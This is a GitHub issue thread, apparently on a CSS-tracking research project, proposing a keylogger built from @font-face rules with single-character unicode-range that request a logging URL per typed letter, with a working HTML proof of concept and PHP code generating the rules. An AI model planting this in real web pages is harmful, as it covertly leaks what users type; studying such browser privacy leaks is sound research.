Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Keylogger using webfont with single character unicode-range #24

Open
myfonj opened this issue Feb 2, 2018 · 4 comments
Open

Keylogger using webfont with single character unicode-range #24

myfonj opened this issue Feb 2, 2018 · 4 comments

Comments

@myfonj
Copy link

myfonj commented Feb 2, 2018

Sure, again just a single request per unique character during page visit could be sent, but besides that it seems to work as expected:

<!doctype html>
<title>css keylogger</title>
<style>
@font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
@font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
@font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
@font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
input { font-family: x, 'Comic sans ms'; }
</style>
<input value="a">type `bcd` and watch network log
@julianYaman
Copy link
Contributor

Why do you not make a pull request with these changes :D

@Bogdaan
Copy link

Bogdaan commented Feb 3, 2018

@myfonj briliant idia. Live demo - https://jsfiddle.net/hcbogdan/6hmm2z47/

@jbtronics
Copy link
Owner

Very cool idea. Seems interesting. The problem is that we can only detect if a user types a char for the first time... But with word lists it should maybe possible to guess the text a user has typed (at least when it is only a single word...)

@Bogdaan
Copy link

Bogdaan commented Feb 3, 2018

I wrote some code at
https://github.com/Bogdaan/spycss/blob/master/src/Interaction/Keylogger.php

Witch generates valid unicode-range: U+XXXX from alplabet.

For example:

// set alphabet
$logThisChars = 'abcdefgABCDEFG';

// create input field
echo $s->builder()
    ->tag('input')
    ->attribute('name', 'field')
    ->interactions([
        new Keylogger($logThisChars)
    ])
    ->get();

@aszx87410 aszx87410 mentioned this issue Dec 3, 2018
Open
@ThomasBower ThomasBower mentioned this issue May 9, 2019
Closed
@myfonj myfonj mentioned this issue May 9, 2019
Open
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
4 participants
@myfonj @Bogdaan @jbtronics @julianYaman